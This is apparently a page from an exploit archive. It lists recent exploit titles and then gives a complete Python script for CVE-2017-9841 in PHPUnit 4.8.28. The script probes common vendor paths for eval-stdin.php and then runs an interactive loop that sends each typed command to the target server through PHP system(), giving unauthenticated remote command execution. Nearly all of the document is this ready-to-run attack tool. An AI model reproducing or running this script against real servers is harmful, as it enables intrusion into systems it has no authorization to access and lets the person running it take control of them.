ad453a2c73
17 changes to exploits/shellcodes CONTPAQi(R) AdminPAQ 14.0.0 - Unquoted Service Path Mozilla Firefox 67 - Array.pop JIT Type Confusion Fetch Softworks Fetch FTP Client 5.8 - Remote CPU Consumption (Denial of Service) Ametys CMS v4.4.1 - Cross Site Scripting (XSS) uBidAuction v2.0.1 - 'Multiple' Cross Site Scripting (XSS) Chamilo LMS 1.11.14 - Account Takeover Wordpress Plugin Download Monitor WordPress V 4.4.4 - SQL Injection (Authenticated) WordPress Plugin Domain Check 1.0.16 - Reflected Cross-Site Scripting (XSS) (Authenticated) Wordpress Plugin 404 to 301 2.0.2 - SQL-Injection (Authenticated) PHP Restaurants 1.0 - SQLi (Unauthenticated) Moodle 3.11.4 - SQL Injection Huawei DG8045 Router 1.0 - Credential Disclosure PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated) WordPress Plugin Contact Form Check Tester 1.0.2 - Broken Access Control WordPress Plugin Product Slider for WooCommerce 1.13.21 - Cross Site Scripting (XSS) WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS) WordPress Plugin Learnpress 4.1.4.1 - Arbitrary Image Renaming
54 lines
No EOL
1.9 KiB
Python
Executable file
54 lines
No EOL
1.9 KiB
Python
Executable file
# Exploit Title: PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated)
|
|
# Date: 2022/01/30
|
|
# Exploit Author: souzo
|
|
# Vendor Homepage: phpunit.de
|
|
# Version: 4.8.28
|
|
# Tested on: Unit
|
|
# CVE : CVE-2017-9841
|
|
|
|
import requests
|
|
from sys import argv
|
|
phpfiles = ["/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"]
|
|
|
|
def check_vuln(site):
|
|
vuln = False
|
|
try:
|
|
for i in phpfiles:
|
|
site = site+i
|
|
req = requests.get(site,headers= {
|
|
"Content-Type" : "text/html",
|
|
"User-Agent" : f"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
|
|
},data="<?php echo md5(phpunit_rce); ?>")
|
|
if "6dd70f16549456495373a337e6708865" in req.text:
|
|
print(f"Vulnerable: {site}")
|
|
return site
|
|
except:
|
|
return vuln
|
|
def help():
|
|
exit(f"{argv[0]} <site>")
|
|
|
|
def main():
|
|
if len(argv) < 2:
|
|
help()
|
|
if not "http" in argv[1] or not ":" in argv[1] or not "/" in argv[1]:
|
|
help()
|
|
site = argv[1]
|
|
if site.endswith("/"):
|
|
site = list(site)
|
|
site[len(site) -1 ] = ''
|
|
site = ''.join(site)
|
|
|
|
pathvuln = check_vuln(site)
|
|
if pathvuln == False:
|
|
exit("Not vuln")
|
|
try:
|
|
while True:
|
|
cmd = input("> ")
|
|
req = requests.get(str(pathvuln),headers={
|
|
"User-Agent" : f"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
|
|
"Content-Type" : "text/html"
|
|
},data=f'<?php system(\'{cmd}\') ?>')
|
|
print(req.text)
|
|
except Exception as ex:
|
|
exit("Error: " + str(ex))
|
|
main() |